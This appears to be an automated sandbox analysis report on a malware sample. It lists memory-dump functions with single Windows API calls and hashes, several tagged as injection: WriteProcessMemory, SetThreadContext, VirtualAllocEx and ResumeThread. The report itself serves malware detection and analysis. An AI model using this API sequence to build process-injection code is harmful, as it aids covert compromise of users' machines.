Opcode ID: 3622dba9e287bd39209b816c7445c0fdb524f0398086449627fd9bfa132329f3
Instruction ID: 16d0ee41d18d85ba6c206fd04faa0b0de0a97814799dbb672f289fa976afedde
Opcode Fuzzy Hash: 3622dba9e287bd39209b816c7445c0fdb524f0398086449627fd9bfa132329f3
Instruction Fuzzy Hash: 482192B56102409FE721DF69DC85B6AFBE8EF14320F18846AEA488B242E775E404CB75

Uniqueness

Uniqueness Score: -1.00%

Function 08060838, Relevance: 1.6, APIs: 1, Instructions: 70fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 080608AC

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 5082f1ce97be4a83245237140fc128b9e0eb6bc0bcb8fe2b1d7aae604b22485a
Instruction ID: 76567b57c7bfd471743c62a44edd02626aa212278a90062254865b43aafb1030
Opcode Fuzzy Hash: 5082f1ce97be4a83245237140fc128b9e0eb6bc0bcb8fe2b1d7aae604b22485a
Instruction Fuzzy Hash: B8219F765097C09FDB12CB25DC54792BFA8EF07220F0880EAEC888F153D264A908C761

Uniqueness

Uniqueness Score: -1.00%

Function 0127A5C2, Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0127A644

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 5a30d21ce92299352bfe50230bb0c868b456263d827ed58115def46ff4a017a6
Instruction ID: f1ca627d9f6048dc5c4f4c7a158785d9eabd1edd7c08f5734d390332f9485e53
Opcode Fuzzy Hash: 5a30d21ce92299352bfe50230bb0c868b456263d827ed58115def46ff4a017a6
Instruction Fuzzy Hash: 9121386540E3C09FDB138B259C54A52BFB4DF57624F0D80CBE9848F1A3D2296819D772

Uniqueness

Uniqueness Score: -1.00%

Function 0127B5F2, Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E90,9CD7CD99,00000000,00000000,00000000,00000000), ref: 0127B66C

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 8cf1fe1ce9a32ca63dd2af7490ff0e37e31c77e057e379273fbac8f83fd8981e
Instruction ID: c2a178583692c7db823ad83d3f7f991ea3ae09aa50fac56fd45693003050a63c
Opcode Fuzzy Hash: 8cf1fe1ce9a32ca63dd2af7490ff0e37e31c77e057e379273fbac8f83fd8981e
Instruction Fuzzy Hash: A4218CB5610604AFEB21CE19DC85FA7BBECEF04710F08846AEB499B251D770E908CA71

Uniqueness

Uniqueness Score: -1.00%

Function 0127AB78, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0127ABE8

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 625312e72efbdb5debdfd19b7a1473411e9369b1c6e14bfc76e3b156e2854a5b
Instruction ID: 80e5cb113869d19de2694bceb67de94a073151f7ce425faba4717d6915be7cec
Opcode Fuzzy Hash: 625312e72efbdb5debdfd19b7a1473411e9369b1c6e14bfc76e3b156e2854a5b
Instruction Fuzzy Hash: CD21D4B64097C09FD7028B24DC85756BFA8EF12224F0D84EFED848F1A3E2749808C761

Uniqueness

Uniqueness Score: -1.00%

Function 0806077C, Relevance: 1.6, APIs: 1, Instructions: 68injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 080607FC

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: efdea9743d2f61addc9c17fbe0d8fdc0372f6bbbabbe73d1214a1fab5e3b7280
Instruction ID: 2704234721abb73e811a1938ab5e5cc5aa11c822d59493a19678db76c3036a32
Opcode Fuzzy Hash: efdea9743d2f61addc9c17fbe0d8fdc0372f6bbbabbe73d1214a1fab5e3b7280
Instruction Fuzzy Hash: AE21DE765097C09FEB12CB25DC84A96FFF4EF06320F0980DEE8858B163D224A859DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0127A3BF, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

EnumResourceTypesW.KERNEL32(?,00000E90,?,?), ref: 0127A43E

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: EnumResourceTypes
String ID:
API String ID: 29811550-0
Opcode ID: 63f2615c40effda5014811f8c6949345ff722d43f7d783f9f4b4adbc660df33d
Instruction ID: c6f8f25e7482d59e955c7a776b8d43562f324eeb40140b515e42d1595d5f42aa
Opcode Fuzzy Hash: 63f2615c40effda5014811f8c6949345ff722d43f7d783f9f4b4adbc660df33d
Instruction Fuzzy Hash: 2D11D6765043406FD3118B15DC41F72FFB8EF86620F19819AED488B652E225A915C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0127A89E, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000E90,?,?), ref: 0127A916

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: dbf4fe967f1190c16a699a1cd4eebe6f3cd4e0a2fc2b90a6182b3c5108ebc5f3
Instruction ID: 3b25d4e4844608737a663306df05350f638454b693dcea64e5ab0c6bc05d44d8
Opcode Fuzzy Hash: dbf4fe967f1190c16a699a1cd4eebe6f3cd4e0a2fc2b90a6182b3c5108ebc5f3
Instruction Fuzzy Hash: 0A11E7755043806FD3128B16CC41F72BFB8EF86A20F09819AED488B652D625B919CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 0806013B, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 080601A6

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 61bdab43bbf9fe3718e776e34a900184049214957654f7b6794dd6753f999574
Instruction ID: 988e3a2a63ea26d415277bbb9b1ef64d68c5b9ccc5034963dc8725143d3df2ff
Opcode Fuzzy Hash: 61bdab43bbf9fe3718e776e34a900184049214957654f7b6794dd6753f999574
Instruction Fuzzy Hash: 6911A276409780AFDB228F50DC44A62FFF4EF4A220F08849EED899F162D275A418DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0127BC16, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E90,9CD7CD99,00000000,00000000,00000000,00000000), ref: 0127BC75

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 835d89184a0489a3c4a8e942ad3ee937a6b6049941bcd18984587c714cb0bb63
Instruction ID: c08b2d87d6138b4339192f4f2223e3fcabd10b93decf45cb35c7621cca9f884a
Opcode Fuzzy Hash: 835d89184a0489a3c4a8e942ad3ee937a6b6049941bcd18984587c714cb0bb63
Instruction Fuzzy Hash: A511C4B1810200AFEB21CF55DD85F5BFBA8EF44310F04C46AEE499B251C774A404CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 080606DB, Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08060740

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 53f4fb9004b74712ee79a1b77c3979f217a7b041d84a5f8b6e7640800ba4bfa7
Instruction ID: d201e4378676c5a76e7f8c30dc246fa7768c499a4cf605d48aa46c6425dbe5d8
Opcode Fuzzy Hash: 53f4fb9004b74712ee79a1b77c3979f217a7b041d84a5f8b6e7640800ba4bfa7
Instruction Fuzzy Hash: 59110476509780AFDB228F21DC40A52FFB4EF06320F0880DEED858B163D275A458DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0127B336, Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,00000E90), ref: 0127B39F

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 03e12fc7b93ddd3cb447b8866ddef166e1c80b40065d9d9e9b4137ad3071eea4
Instruction ID: eca9c2ddad6686df1a54775da05ce95f62a1ca3b5ad68c8d80d478d09319c8b9
Opcode Fuzzy Hash: 03e12fc7b93ddd3cb447b8866ddef166e1c80b40065d9d9e9b4137ad3071eea4
Instruction Fuzzy Hash: 131108B5510300AFF720DB19DC82B66FFA8DF44720F148459FE485F282D2B4A548CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 08060634, Relevance: 1.6, APIs: 1, Instructions: 55threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,?), ref: 08060693

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: ab1dcf3c5db44d2ff7d7bb8fcafb14b9a1f929ee092d4cebd06919874f570b3b
Instruction ID: 3ac5710fdc7d5be719b3a4dac592a7036b1c7273e2228f754980133b3ffb4e3b
Opcode Fuzzy Hash: ab1dcf3c5db44d2ff7d7bb8fcafb14b9a1f929ee092d4cebd06919874f570b3b
Instruction Fuzzy Hash: B311E3755493849FE711CF15DC84F52FFE8EF46221F0880AEED458B262D274E818CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0127BB56, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E90,9CD7CD99,00000000,00000000,00000000,00000000), ref: 0127BBA9

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 2079c71c161f9c522bef90ec038c6e7ed441a6bb13060c7493d516dfd7fb4e44
Instruction ID: 659650a67d652deec64deae2fc82ce72aa220917434d7de7c83e7cb70d56f53e
Opcode Fuzzy Hash: 2079c71c161f9c522bef90ec038c6e7ed441a6bb13060c7493d516dfd7fb4e44
Instruction Fuzzy Hash: 0501D6B5510204AFE720CB19DC85F67FB98DF44720F14849AEE499B245D678A4088AB1

Uniqueness

Uniqueness Score: -1.00%

Function 0806044E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNELBASE(?,00000E90,?,?), ref: 0806049E

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: 6b8f8d7291830507f073cef1a2025e37662d991ca45bd07f9435de30c41b7f30
Instruction ID: a4e24d5d729bb709d4c18f9e47c8ca88e5f7abdb4445d37079f43a601ac6f1f4
Opcode Fuzzy Hash: 6b8f8d7291830507f073cef1a2025e37662d991ca45bd07f9435de30c41b7f30
Instruction Fuzzy Hash: 7C01B176900200AFD310DF1ADC85B26FBE8FB88B20F14812AED088B645E631F515CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 080607B6, Relevance: 1.5, APIs: 1, Instructions: 47injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 080607FC

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4762e8ab387970c8d5c7872ee6dbaf1c625ecd0502a02ea299aecf8d46ac392b
Instruction ID: 825b9ed97b31db1999acd97d220747fdf0ff31325ebdb5a8f93f808c325f2fe5
Opcode Fuzzy Hash: 4762e8ab387970c8d5c7872ee6dbaf1c625ecd0502a02ea299aecf8d46ac392b
Instruction Fuzzy Hash: 77016D756006049FDB20CF19D884B66FBE5EF44721F0880AEED899B661D271E458DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 08060872, Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 080608AC

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: e2c34d9f14724af4497573448b82870873553a9ee2416486d061578b6affa59a
Instruction ID: dd975fae538d0278f68fdfccfb756b9e62f788c0bad8470364a55b50d38eade2
Opcode Fuzzy Hash: e2c34d9f14724af4497573448b82870873553a9ee2416486d061578b6affa59a
Instruction Fuzzy Hash: 4A01B175A00600CFEB50CF29D88476AFFE8EF40231F08C4AADC89DF646D274E414CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 08060162, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 080601A6

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 171c01d70d1b5a88759ddced078240e35a8b300d18a5449d7622acedb4d8a2d2
Instruction ID: 83deca9bb7d939273ff41136d43f2d147976344fa2de1da7481847bb5bccefca
Opcode Fuzzy Hash: 171c01d70d1b5a88759ddced078240e35a8b300d18a5449d7622acedb4d8a2d2
Instruction Fuzzy Hash: CE016D76500700DFDB218F55D844B56FFE5EF48321F08C4AAED895E652D275A428CB61

Uniqueness

Uniqueness Score: -1.00%

Function 08060656, Relevance: 1.5, APIs: 1, Instructions: 44threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,?), ref: 08060693

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: f1fb9bea92f12ac4bb5d4ac9fe0784375be588b8cd4cae6bfabd972eca2d7f27
Instruction ID: b7cf9a040f47edad0f74cc0d1a8343d37bfe9dad3129c45802fad4ab38827678
Opcode Fuzzy Hash: f1fb9bea92f12ac4bb5d4ac9fe0784375be588b8cd4cae6bfabd972eca2d7f27
Instruction Fuzzy Hash: 48018475640605DFEB10CF1AD884B66FFE5EF44321F08C0AAED499B262D275E858CA71

Uniqueness

Uniqueness Score: -1.00%

Function 08060702, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08060740

Memory Dump Source

Source File: 00000001.00000002.519928005.0000000008060000.00000040.00000010.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 8842ef4319ca83fbd0d4db439977a698540bb29167b500514a5cd665deabf673
Instruction ID: 9d1e2c4c1405c1c44fe758b2bbb0db459efa13f87fd2995c991420e41ed173af
Opcode Fuzzy Hash: 8842ef4319ca83fbd0d4db439977a698540bb29167b500514a5cd665deabf673
Instruction Fuzzy Hash: DC019276500700DFDB208F15D844B56FFE5EF14331F08805EDD594A661D271A458DF61

Uniqueness

Uniqueness Score: -1.00%

Function 0127ABB6, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0127ABE8

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 45085f32cff67ff026988d56cde4e5a472822b371b8a921bba4e853a353f13f3
Instruction ID: add84d7e07d10e9db0afb6f64c3f811c8c844c2617410128f0b48c9138e64dd4
Opcode Fuzzy Hash: 45085f32cff67ff026988d56cde4e5a472822b371b8a921bba4e853a353f13f3
Instruction Fuzzy Hash: 8901F2759142409FDB10CF19E88576BFFA4EF40330F08C4AEDD098F242D274A408CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0127A4B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

EnumResourceNamesW.KERNELBASE(?,00000E90,?,?), ref: 0127A502

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 2e6fa463c6f027e30caa7b0a083e8a2162d09c3513a6af54ecdc0f1cb65a07e8
Instruction ID: 888d871f2c137bb98813a949a85985ee751a51d9ed8fa6d408c6ae26db11834f
Opcode Fuzzy Hash: 2e6fa463c6f027e30caa7b0a083e8a2162d09c3513a6af54ecdc0f1cb65a07e8
Instruction Fuzzy Hash: F401AD76500200ABD210DF1ADC86B22FBE8FB88B20F14811AED084B745E631F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 0127A3EE, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

EnumResourceTypesW.KERNEL32(?,00000E90,?,?), ref: 0127A43E

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: EnumResourceTypes
String ID:
API String ID: 29811550-0
Opcode ID: 69ce60a9c1c4c7d6c4bee8a3c5e49d93553b6c2517ea21f58edbd857079c6d1d
Instruction ID: 01359c2aa701c7b21932d68c08f817e405dac72a5324807508abee3a8fc8d13d
Opcode Fuzzy Hash: 69ce60a9c1c4c7d6c4bee8a3c5e49d93553b6c2517ea21f58edbd857079c6d1d
Instruction Fuzzy Hash: 9B01A276500200ABD210DF1ADC86B22FBE8FB88B20F14811AED084B745E631F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0127A8C6, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000E90,?,?), ref: 0127A916

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 063fc3b0f6cfbeafde36275b043387835877c611ed61c3b34ac78febe442c777
Instruction ID: 59f76aa2dcebc1d1e1225e9cfbd0a188e8a5da3b61480596e7e610c246b31ef9
Opcode Fuzzy Hash: 063fc3b0f6cfbeafde36275b043387835877c611ed61c3b34ac78febe442c777
Instruction Fuzzy Hash: C601AD76500200ABD210DF1ADC86B22FBE8FB88B20F14815AED084B745E635F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 0127A612, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0127A644

Memory Dump Source

Source File: 00000001.00000002.515393633.000000000127A000.00000040.00000001.sdmp, Offset: 0127A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: d31f2ff82ac756f22125bd1270420278ef5dc62d18caf3c6fc2cf7c13f685783
Instruction ID: e4037b4719361475ad99754cee3500c52bc30d6aa464e1101fa1c9b77b1afee8
Opcode Fuzzy Hash: d31f2ff82ac756f22125bd1270420278ef5dc62d18caf3c6fc2cf7c13f685783
Instruction Fuzzy Hash: 60F0AF79420244DFDB108F19D885B6AFFA4EF84730F08C09ADE594B252D2B5A408CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 02E6AE9D, Relevance: 1.5, APIs: 1, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?), ref: 02E6AED8

Memory Dump Source

Source File: 00000001.00000002.516150230.0000000002E60000.00000040.00000001.sdmp, Offset: 02E60000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b16d60c8c2499825beafcb70e55994d11f52819d697f5978e76802c628dae860
Instruction ID: 0bc9ad9f0709793be2d6cd1f71b4599499df8c42a94db719c5bbd2796df5a0e2
Opcode Fuzzy Hash: b16d60c8c2499825beafcb70e55994d11f52819d697f5978e76802c628dae860
Instruction Fuzzy Hash: 3DF05E71DC0218DFDF228BA4C8497D8BB74BB18304F1490D9E24DB6252C3714AC0CF00

Uniqueness

Uniqueness Score: -1.00%

Function 02E6AFD5, Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 02E6AFFD

Memory Dump Source

Source File: 00000001.00000002.516150230.0000000002E60000.00000040.00000001.sdmp, Offset: 02E60000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: aa00028a0b443bdd85e7df97201e2cbda6e724a0f30c9f1aa77f1d5a9c06bd98
Instruction ID: c43c9217292b4d01d414fdab2f59bd8faa88c7ed8a9973ec18be6c03d536fbee
Opcode Fuzzy Hash: aa00028a0b443bdd85e7df97201e2cbda6e724a0f30c9f1aa77f1d5a9c06bd98
Instruction Fuzzy Hash: 91F01C349C4254CEDB718B68D84C7A9BF70BB0835CF24A5C9E02DE6291C3B149C4CF01

Uniqueness

Uniqueness Score: -1.00%

Function 02D507AE, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0604ecf7c68b974980617df477ff6bdad6e146be23f44a59ef06c72feff39699
Instruction ID: 08d0d5825bdaf90c5ae373ddee92095ebefc2633e91ba4c4bbc3a7596663ec49
Opcode Fuzzy Hash: 0604ecf7c68b974980617df477ff6bdad6e146be23f44a59ef06c72feff39699
Instruction Fuzzy Hash: AE318C7640E7C19FE7138B259861B52BFB4EF43210F0E84DBD8C58F593C2295808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02D508E0, Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c2c8170a17db5b65e35482fb96e55725841cc8f21a02ac7ee55baf79585f12
Instruction ID: f4fa3e0fff802baedd613b2bd89534ee8c59442de21837506e42e3031e148738
Opcode Fuzzy Hash: 37c2c8170a17db5b65e35482fb96e55725841cc8f21a02ac7ee55baf79585f12
Instruction Fuzzy Hash: 1A218C7640D7C09FE7138B259850762BFB8EF47614F0D84DBD9C98F293C2695809CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 080417CC, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.519916801.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 948ea1ca20722a9104ebb33cd9c7489e70ba4f2028a140724d19f7751148c6e6
Instruction ID: 4634ed2533ca06bf46092c43e7a3a8be86d8a3e76d99b32bbe8c285bf4c0a51c
Opcode Fuzzy Hash: 948ea1ca20722a9104ebb33cd9c7489e70ba4f2028a140724d19f7751148c6e6
Instruction Fuzzy Hash: 2C21F9B5509381AFD341CF29D840956FFF4EF89664F04899EF898DB312D235E909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D50774, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f747cd8f3901c68914be37dd08011f5317a29f5d3eb62e636f33a4487c35a5f5
Instruction ID: 9b1b77ef0c69a6061615faa4e11e6bc44197ac5255bf7807f46566eb31d10951
Opcode Fuzzy Hash: f747cd8f3901c68914be37dd08011f5317a29f5d3eb62e636f33a4487c35a5f5
Instruction Fuzzy Hash: 5A218B7550D3C09FD7138B258C94B62BFB8EF47620F0984DBEC898B693C26C5808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02D509F4, Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5051526dba36594afab789fe1b6ce563b5ca7d452e7a6bafe018a6753141bade
Instruction ID: 51b6a62202f4a0aedfa70319afde7fdeb59dc5a3424c69dbd8c4805bc44032c9
Opcode Fuzzy Hash: 5051526dba36594afab789fe1b6ce563b5ca7d452e7a6bafe018a6753141bade
Instruction Fuzzy Hash: 4721907640D7C09FE712CB15CC40B62BFA8EB56620F09849BED898B657C2699C04CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02D509C8, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdbb7bc8ca81ae935e7c634f839ca0dafc62bf4019ea5fd045736565aee34979
Instruction ID: 4f5458cf7f0c99d9909b06dd596d2a09ffb5982ab0f8546908a1cc2e2f719e46
Opcode Fuzzy Hash: cdbb7bc8ca81ae935e7c634f839ca0dafc62bf4019ea5fd045736565aee34979
Instruction Fuzzy Hash: 86216D764097C09FE712CB158844B62BFA9EB96620F09849AED898B656C2699804CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02D508B0, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46220a1efab5112461e4585da1f7dc7e75116207d46326fd5f5497dc363d0a57
Instruction ID: 65e18405b044ebcb8a6922b7f833b619b2816ac03a64321570e7a5194e11fa91
Opcode Fuzzy Hash: 46220a1efab5112461e4585da1f7dc7e75116207d46326fd5f5497dc363d0a57
Instruction Fuzzy Hash: 4521AF764097C09FE712CB15CC40B62BFB9EB56720F08849BED898B652C3799C04CB62

Uniqueness

Uniqueness Score: -1.00%

Function 08041F4C, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.519916801.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2c082a84db97b5cf608c025301179cd348aba4406a9ce023d504805579f360c
Instruction ID: 06c910f5945beeb6c9e533e1c8b425585ce144cf0a685e9760b6736b1581309b
Opcode Fuzzy Hash: c2c082a84db97b5cf608c025301179cd348aba4406a9ce023d504805579f360c
Instruction Fuzzy Hash: 0B11B8B9508341AFD340CF19D880A5BFBE4FB88664F04896EF89897311D231E9148FA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D50B8C, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfa062b7fc063a7ddd14bbd85be65e998889d7d245d4ff2f371efd9fb2aceb05
Instruction ID: dd5fa6f57f7c3f3b1619bef573a4c6f165c6805dcd109e0d53527a5662f9fe07
Opcode Fuzzy Hash: dfa062b7fc063a7ddd14bbd85be65e998889d7d245d4ff2f371efd9fb2aceb05
Instruction Fuzzy Hash: 9611E130248644DFDB15CB14D984B26BBA5EB8D70AF24C99CED891B742C7BBD807CA51

Uniqueness

Uniqueness Score: -1.00%

Function 02D50B6B, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a7ecaa850351f0e1dc8c87ca941bd73366a54fb64b5d3d20dd033fc7158b8c8
Instruction ID: 514bdf79a74cf05271c39bf3c326a0d19d0a197865ecca2dbb46fc9cf4244fd5
Opcode Fuzzy Hash: 2a7ecaa850351f0e1dc8c87ca941bd73366a54fb64b5d3d20dd033fc7158b8c8
Instruction Fuzzy Hash: 96114F341093C49FD717CB10C950B55BFB1AF46604F19C5DED8898B663C37A980ACB51

